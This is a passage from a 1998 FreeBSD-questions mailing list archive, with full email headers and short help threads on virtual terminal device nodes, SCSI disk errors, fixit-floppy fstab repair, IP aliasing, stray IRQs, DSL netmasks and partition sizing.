souls who might need to use my machine while I am not there. :-) The > installation went without a hitch and I set to getting X up and running, > doing the best I can with a Trident 9750 AGP card. *Sigh* That is another > story.. :-/ > I get XFree86 configured and tried 'startx' and it screamed and yelled > about not being able to find /dev/ttyv4. Humm.. well, I just used 'mknod' > to create it and it made X happy, no big deal. I was just wondering if > any of you out there have run in to the same thing, or was this isolated > to me, possibly something I missed in the setup? This probably relates to your /etc/ttys file, which usually contains: ttyv0 "/usr/libexec/getty Pc" cons25 on secure # Virtual terminals ttyv1 "/usr/libexec/getty Pc" cons25 on secure ttyv2 "/usr/libexec/getty Pc" cons25 on secure ttyv3 "/usr/libexec/getty Pc" cons25 off secure I'm guessing that you've turned ttyv3 from 'off' to 'on'. X needs one to run the display in, so it will then go looking for ttyv4. The GENERIC kernel has 12 virtual terminals, but only four device nodes. I've entered a PR. In the meantime, you can fix it by running # cd /dev # ./MAKEDEV vty Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:57:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA24041 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:57:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell6.ba.best.com (jkb@shell6.ba.best.com [206.184.139.137]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA23993 for ; Sun, 5 Apr 1998 18:57:17 -0700 (PDT) (envelope-from jkb@best.com) Received: from localhost (jkb@localhost) by shell6.ba.best.com (8.8.8/8.8.BEST) with SMTP id SAA17883 for ; Sun, 5 Apr 1998 18:57:17 -0700 (PDT) X-Authentication-Warning: shell6.ba.best.com: jkb owned process doing -bs Date: Sun, 5 Apr 1998 18:57:16 -0700 (PDT) From: Jan Koum X-Sender: jkb@shell6.ba.best.com To: questions@FreeBSD.ORG Subject: "Read error" part II Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all, Same problem, different machine. I am installing 2.2.6-RELEASE on Seagate Barracuda 34371W SCSI disk with 2940UW Adaptec card. All disk is going to the FreeBSD ("dangerous dedicated" mode). Every time after install I get "Read Error". I tried to use different geometries and even splitting the drive into different BSD partitions. No luck. Anyone who is using this drive in dedicated mode maybe can send me "disklabel -r sd0" output? Or if anyone knows a geometry which would work, can you eMail it to me? Thanks... -- Yan Jan Koum jkb@best.com | "Turn up the lights; I don't want www.FreeBSD.org -- The Power to Serve | to go home in the dark." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 18:57:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA24157 for freebsd-questions-outgoing; Sun, 5 Apr 1998 18:57:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA24046 for ; Sun, 5 Apr 1998 18:57:32 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA10845; Mon, 6 Apr 1998 11:27:28 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA02867; Mon, 6 Apr 1998 11:27:28 +0930 (CST) (envelope-from grog) Message-ID: <19980406112727.50614@freebie.lemis.com> Date: Mon, 6 Apr 1998 11:27:27 +0930 From: Greg Lehey To: Jay Camp Cc: FreeBSD Questions Subject: Re: Drivers References: <19980405190642.10379.rocketmail@send1c.yahoomail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <19980405190642.10379.rocketmail@send1c.yahoomail.com>; from Jay Camp on Sun, Apr 05, 1998 at 12:06:42PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 April 1998 at 12:06:42 -0700, Jay Camp wrote: > Is there a way to make a driver for a piece of hardware that I have? > (as in making it myself) Yes. It requires a good understanding of the kernel, of course. Check out http://www.freebsd.org/tutorials/ddwg/ddwg.html. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 19:04:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA26745 for freebsd-questions-outgoing; Sun, 5 Apr 1998 19:04:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA26705 for ; Sun, 5 Apr 1998 19:04:07 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA10858; Mon, 6 Apr 1998 11:33:48 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA02886; Mon, 6 Apr 1998 11:33:48 +0930 (CST) (envelope-from grog) Message-ID: <19980406113348.57396@freebie.lemis.com> Date: Mon, 6 Apr 1998 11:33:48 +0930 From: Greg Lehey To: Dima Dorfman , freebsd-questions@FreeBSD.ORG Subject: Re: Cannot telnet to myself References: <3.0.5.32.19980405161453.00910810@mail.zwb.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <3.0.5.32.19980405161453.00910810@mail.zwb.net>; from Dima Dorfman on Sun, Apr 05, 1998 at 04:14:53PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 April 1998 at 16:14:53 -0700, Dima Dorfman wrote: > Hi: > > I can't telnet to myself! I'm running FreeBS 2.2.6. When I try 'telnet > 127.0.0.1', I get 'telnet: Unable to connect to remote host: Connection > refused'. Do you have telnetd enabled in /etc/inetd.conf? Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 19:08:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA27823 for freebsd-questions-outgoing; Sun, 5 Apr 1998 19:08:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA27718 for ; Sun, 5 Apr 1998 19:08:05 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id LAA10871; Mon, 6 Apr 1998 11:37:52 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id LAA02905; Mon, 6 Apr 1998 11:37:51 +0930 (CST) (envelope-from grog) Message-ID: <19980406113751.62042@freebie.lemis.com> Date: Mon, 6 Apr 1998 11:37:51 +0930 From: Greg Lehey To: "Stephen A. Derdau" , freebsd-questions@FreeBSD.ORG Subject: Re: Where is fixit instructions? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: ; from Stephen A. Derdau on Sun, Apr 05, 1998 at 07:22:37PM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 April 1998 at 19:22:37 -0400, Stephen A. Derdau wrote: > Can't seem to find fixit instructions anywhere. > I need to fix my fstab file and I cannot. > I have boot.flp and fixit.flp. However > when I get to fixit not sure what to do. > searched for awhile now looking for instructions. > Help would be greatly appreciated. I'm not being > rude when I am asking. Hope someone can help. After mounting the fixit floppy, you should be able to run fsck against your disk partitions and then mount them on /mnt. Assuming you have your root partition on /dev/sd0s1a and your /usr partition on /dev/sd0s1e, you'd do: # fsck -y /dev/rsd0s1a # fsck -y /dev/rsd0s1e # mount /dev/rsd0s1a /mnt # mount /dev/rsd0s1e /mnt/usr # TERM=cons25 export TERM # vi /mnt/etc/fstab You'll probably need to mount /usr as well in order to run vi. You may also have to set your TERM environment variable. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 19:43:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA02342 for freebsd-questions-outgoing; Sun, 5 Apr 1998 19:43:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA02332 for ; Sun, 5 Apr 1998 19:43:52 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id TAA17732; Sun, 5 Apr 1998 19:42:52 -0700 (PDT) Message-Id: <199804060242.TAA17732@implode.root.com> To: Joe McGuckin cc: questions@FreeBSD.ORG Subject: Re: 2.2.6-RELEASE problem ? In-reply-to: Your message of "Sun, 05 Apr 1998 18:29:18 PDT." <199804060129.SAA21982@monk.via.net> From: David Greenman Reply-To: dg@root.com Date: Sun, 05 Apr 1998 19:42:52 -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >We have this intermittant problem with 2.2.6. Our web server >has about 60 IP addresses aliased to fxp0. At random times, several >(actually, many) of the addresess become unreachable, unpingable. Re-running >/etc/start_if.fxp0 seems to kick the machine into behaving. For a whie, >at least. > >Has anyone else seen this? Could this be a defective fxp card? It's a software problem of some kind, probably in the route management code or perhaps in the if-address code. I suspect that it's not that random... -DG David Greenman Core-team/Principal Architect, The FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 19:44:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA02376 for freebsd-questions-outgoing; Sun, 5 Apr 1998 19:44:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA02335 for ; Sun, 5 Apr 1998 19:43:54 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul2.u.washington.edu (root@saul2.u.washington.edu [140.142.56.21]) by jason02.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id TAA39410; Sun, 5 Apr 1998 19:43:48 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id TAA14260; Sun, 5 Apr 1998 19:43:48 -0700 (PDT) Date: Sun, 5 Apr 1998 18:42:38 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Matthew Phillips cc: freebsd-questions@FreeBSD.ORG Subject: Re: 2 os In-Reply-To: <001101bd60d8$3bd59f20$245a33cf@default> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Matthew Phillips wrote: > http://www.freebsd.org/handbook/install.html > Doesn't say anything about windows 95 or having multiple operating systems. > Could U explain to me how to have both? You must read more than just that one page. At the bottom of that page there is a 'next' link. Follow it as well. dos is synonymous with win95 in this discussion. In a nutshell: To install with dos and freebsd on one disk you must have a seperate partition available for both dos and freebsd. When you do the install by booting with the boot floppy you then choose where on your disk freebsd will go. You put freebsd on the partition that does not have dos on it. If you try to put freebsd into the partition where dos is, you will loose all of your dos info. FreeBSD will be on one partition. Dos will be on the other. When you boot, you will be given a choice of which one you want to use. Read all of this as well. http://www.freebsd.org/FAQ/FAQ20.html#20 http://www.freebsd.org/handbook/handbook19.html#21 You simply cannot use unix with zero experience, if you do not like to read. Reading is mandatory. I had exactly zero unix experience when I first installed FreeBSD one year ago. If I can do it, then you can do it also. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 19:44:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA02531 for freebsd-questions-outgoing; Sun, 5 Apr 1998 19:44:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpha.mstk.com (cx93934-a.vista1.sdca.home.com [24.0.177.213]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA02514 for ; Sun, 5 Apr 1998 19:44:31 -0700 (PDT) (envelope-from ifield@mstk.com) Message-Id: <199804060244.TAA02514@hub.freebsd.org> Received: from arthur (adnline1829.adnc.com [207.158.18.29]) by alpha.mstk.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id HG671M24; Sun, 5 Apr 1998 19:48:38 -0700 From: "Ian Field" To: Subject: zp0 Date: Sat, 5 Apr 1997 18:39:42 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi all What are the common i/o, irq settings for zp0 (3c589d) ? I'm trying to get 2.2.6-RELEASE to find this card. thanks Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 19:46:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA02981 for freebsd-questions-outgoing; Sun, 5 Apr 1998 19:46:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from monk.via.net (monk.via.net [209.81.9.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id TAA02519 for ; Sun, 5 Apr 1998 19:44:34 -0700 (PDT) (envelope-from joe@via.net) Received: (from joe@localhost) by monk.via.net (8.6.11/8.6.12) id TAA23115 for questions@freebsd.org; Sun, 5 Apr 1998 19:44:29 -0700 Date: Sun, 5 Apr 1998 19:44:29 -0700 From: Joe McGuckin Message-Id: <199804060244.TAA23115@monk.via.net> To: questions@FreeBSD.ORG Subject: Stray IRQ?? X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What does this mean ? None of the probe messages indicate that there is a device at IRQ 7. www6 kernel log messages: > FreeBSD 2.2.6-RELEASE #0: Fri Apr 3 07:13:07 PST 1998 > joe@www6.via.net:/usr/src/sys/compile/WWW > avail memory = 391970816 (382784K bytes) > stray irq 7 > stray irq 7 > stray irq 7 Thanks, joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 19:52:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA04595 for freebsd-questions-outgoing; Sun, 5 Apr 1998 19:52:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA04585 for ; Sun, 5 Apr 1998 19:52:24 -0700 (PDT) (envelope-from markem@primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.8.8/8.8.8) id TAA04999 for ; Sun, 5 Apr 1998 19:52:22 -0700 (MST) Received: from xdsl-ip47-064.phx.primenet.com(207.218.25.64), claiming to be "dad" via SMTP by smtp04.primenet.com, id smtpd004947; Sun Apr 5 19:52:19 1998 Message-Id: <3.0.5.32.19980405195216.009a8a00@pop.primenet.com> X-Sender: markem@pop.primenet.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Sun, 05 Apr 1998 19:52:16 To: freebsd-questions@FreeBSD.ORG From: "M. Monninger" Subject: netmask question/probem Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I connect to my ISP via a DSL line. It's really just a standard ethernet connection. They use dynamic IP addressing so I run the wide dhcp client. I also run natd to connect my home LAN to the internet. Everything has worked fine for several months until Friday when my ISP changed the netmask sent from the dhcp server to 255.255.255.255. My system (2.2.5R) quickly stopped talking to the internet. I get No route to host messages and when I try to add a route I get Network is unreachable. To make it work I manually change the netmask to 255.255.255.0, add the route, and it's fine...until the dhcp client renews and the mask gets set back. OK...I have a work-around...I can hack the dhcp client to ignore the netmask or use the ISC client. Here's the question...should this netmask work? They claim it works fine on Windoze. The goal is to force all traffic on the dsl subnet to go thru the router so that dsl users can send traffic to each other (I don't care about that but others do, apparently). Is there something in the FBSD IP stack that chokes on it or is it something in my configuration? Any help will be greatly appreciated. Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 19:57:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA05711 for freebsd-questions-outgoing; Sun, 5 Apr 1998 19:57:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from monk.via.net (monk.via.net [209.81.9.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id TAA05625 for ; Sun, 5 Apr 1998 19:57:17 -0700 (PDT) (envelope-from joe@via.net) Received: (from joe@localhost) by monk.via.net (8.6.11/8.6.12) id TAA23330 for questions@freebsd.org; Sun, 5 Apr 1998 19:57:09 -0700 Date: Sun, 5 Apr 1998 19:57:09 -0700 From: Joe McGuckin Message-Id: <199804060257.TAA23330@monk.via.net> To: questions@FreeBSD.ORG Subject: Boot time error on NCR 875 controller X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At boot time, I get a scripts time-out message from the NCR/Synbios SCSI driver. I can's reproduce the message here because it's not written to dmesg or the log file. Has anyone else seen this? Thanks, joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 20:16:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA08202 for freebsd-questions-outgoing; Sun, 5 Apr 1998 20:16:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from homer.supersex.com (homer.supersex.com [209.5.1.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA08197 for ; Sun, 5 Apr 1998 20:16:20 -0700 (PDT) (envelope-from leo@homer.supersex.com) Received: (from leo@localhost) by homer.supersex.com (8.8.8/8.8.5) id XAA10325; Sun, 5 Apr 1998 23:17:05 -0400 (EDT) Message-ID: <19980405231705.29221@supersex.com> Date: Sun, 5 Apr 1998 23:17:05 -0400 From: Leo Papandreou To: Joe McGuckin Cc: questions@FreeBSD.ORG Subject: Re: Stray IRQ?? References: <199804060244.TAA23115@monk.via.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804060244.TAA23115@monk.via.net>; from Joe McGuckin on Sun, Apr 05, 1998 at 07:44:29PM -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Apr 05, 1998 at 07:44:29PM -0700, Joe McGuckin wrote: > > > What does this mean ? > Crappy motherboard. Harmless. I used to get those in 2.1 until I re-enable the parallel port back into the kernel. > None of the probe messages indicate that there is a device at IRQ 7. > > > www6 kernel log messages: > > FreeBSD 2.2.6-RELEASE #0: Fri Apr 3 07:13:07 PST 1998 > > joe@www6.via.net:/usr/src/sys/compile/WWW > > avail memory = 391970816 (382784K bytes) > > stray irq 7 > > stray irq 7 > > stray irq 7 > > > Thanks, > > joe > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 20:25:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA09392 for freebsd-questions-outgoing; Sun, 5 Apr 1998 20:25:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from perfekt.perfekt.net (root@[205.230.176.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA09364 for ; Sun, 5 Apr 1998 20:25:14 -0700 (PDT) (envelope-from kw@perfekt.net) Received: from pc1 (ibm.perfekt.net [205.230.179.52]) by perfekt.perfekt.net (8.8.7/8.8.7) with SMTP id XAA00344 for ; Sun, 5 Apr 1998 23:23:38 -0400 (EDT) Message-ID: <000701bd610b$96681520$34b3e6cd@pc1.perfekt.net> From: "Chris Wianecki" To: Subject: Dividing HD to partitions for FreeBSD Date: Sun, 5 Apr 1998 23:25:00 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01BD60EA.0DC3A020" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0004_01BD60EA.0DC3A020 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, I am very new to FreeBSD, I have 4 gig HD and I installed the HD = to partitions during the installation of FreeBSD. I chosen automatic = assign, and what the install program set was / 30MB swap 137MB /var 30MB /usr all the remaining space Everything would be fine but I got lots of errors that /var has not = enough space, I am suspecting that / dir would run our of free space = pretty soon if it didn't already. Can you advise me what is the best = solution for the partition sizes? I have 64mb of ram, so I understand = that swap should be like 128mb or 137 as it was chosen. I will probably = want to allocate 160MB, but I am not sure what I should do next, how = much aprox I should allocate for / or /usr or for /var also I want = something to be left for user directories as well if possible. Thank you for your help. Chris ------=_NextPart_000_0004_01BD60EA.0DC3A020 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello, I am very new to FreeBSD, I = have 4 gig HD=20 and I installed the HD to partitions during the installation of FreeBSD. = I=20 chosen automatic assign, and what the install program set = was
/    = 30MB
swap    137MB
/var    30MB
/usr    all the remaining = space
Everything would be fine but I got lots of errors = that /var=20 has not enough space, I am suspecting that / dir would run our of free = space=20 pretty soon if it didn't already. Can you advise me what is the best = solution=20 for the partition sizes? I have 64mb of ram, so I understand that swap = should be=20 like 128mb or 137 as it was chosen. I will probably want to allocate = 160MB, but=20 I am not sure what I should do next, how much aprox I should allocate = for / or=20 /usr or for /var also I want something to be left for user directories = as well=20 if possible.
Thank you for your help.
 
Chris
 
------=_NextPart_000_0004_01BD60EA.0DC3A020-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 20:33:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA10305 for freebsd-questions-outgoing; Sun, 5 Apr 1998 20:33:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from sendero.simon-shapiro.org (sendero-fddi.Simon-Shapiro.ORG [206.190.148.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id UAA10287 for ; Sun, 5 Apr 1998 20:32:59 -0700 (PDT) (envelope-from shimon@simon-shapiro.org) Received: (qmail 2520 invoked from network); 6 Apr 1998 03:42:22 -0000 Received: from localhost.simon-shapiro.org (HELO sendero-fxp0.simon-shapiro.org) (@127.0.0.1) by localhost.simon-shapiro.org with SMTP; 6 Apr 1998 03:42:22 -0000 Message-ID: X-Mailer: XFMail 1.3-alpha-032998 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sun, 05 Apr 1998 20:42:22 -0700 (PDT) Reply-To: shimon@simon-shapiro.org Organization: The Simon Shapiro Foundation From: Simon Shapiro To: Doug White Subject: Re: ALPS MD-1300 SCSI PRinter Cc: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 05-Apr-98 Doug White wrote: > On Sat, 4 Apr 1998, Simon Shapiro wrote: > >> Does anyone know how to make this printer work in FreeBSD? >> >> How about running it from the Parallel Port instead of SCSI? > > **SCSI**? Eh? I don't think that's supported, but you're welcome to > program us a driver :-) If you can get it to talk in parallel mode that > would be much better. I'll settle for ANY protocol information. From playing with it, it looks like quite a bit of the logic is on the host :-( It transmits colors one at a time, etc. But would be nice to have the thing work under Unix. Get me the specs, I'll write the driver. ---------- Sincerely Yours, Simon Shapiro Shimon@Simon-Shapiro.ORG Voice: 503.799.2313 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 20:57:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA13231 for freebsd-questions-outgoing; Sun, 5 Apr 1998 20:57:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA13224 for ; Sun, 5 Apr 1998 20:57:11 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id NAA10996; Mon, 6 Apr 1998 13:27:03 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id NAA03228; Mon, 6 Apr 1998 13:27:03 +0930 (CST) (envelope-from grog) Message-ID: <19980406132702.36224@freebie.lemis.com> Date: Mon, 6 Apr 1998 13:27:02 +0930 From: Greg Lehey To: Ian Field Cc: FreeBSD Questions Subject: Re: zp0 References: <199804060244.TAA02514@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804060244.TAA02514@hub.freebsd.org>; from Ian Field on Sat, Apr 05, 1997 at 06:39:42PM -0800 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 5 April 1997 at 18:39:42 -0800, Ian Field wrote: > Hi all > > What are the common i/o, irq settings for zp0 (3c589d) ? I'm trying to get > 2.2.6-RELEASE to find this card. Boot with -c (configuration editor) and take a look at the configuration in visual mode. It'll be much more accurate than anything people can tell you on the list, and you can also change it to fit your board. While you're at it, could you please set the correct year in your system date? Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 21:19:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA15325 for freebsd-questions-outgoing; Sun, 5 Apr 1998 21:19:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from kevin.isadora.org (36.209.17.178.arpa.broadband.net [209.17.178.36] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA15306 for ; Sun, 5 Apr 1998 21:19:45 -0700 (PDT) (envelope-from kevin_eliuk@sunshine.net) Received: from localhost (cagey@localhost) by kevin.isadora.org (8.8.8/8.8.8) with SMTP id VAA04137; Sun, 5 Apr 1998 21:18:45 -0700 (PDT) (envelope-from cagey@kevin.isadora.org) Date: Sun, 5 Apr 1998 21:17:56 -0700 (PDT) From: "Kevin G. Eliuk" Reply-To: "Kevin G. Eliuk" To: Doug White cc: FreeBSD Questions Subject: Re: exec: makewhatis: not found ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: 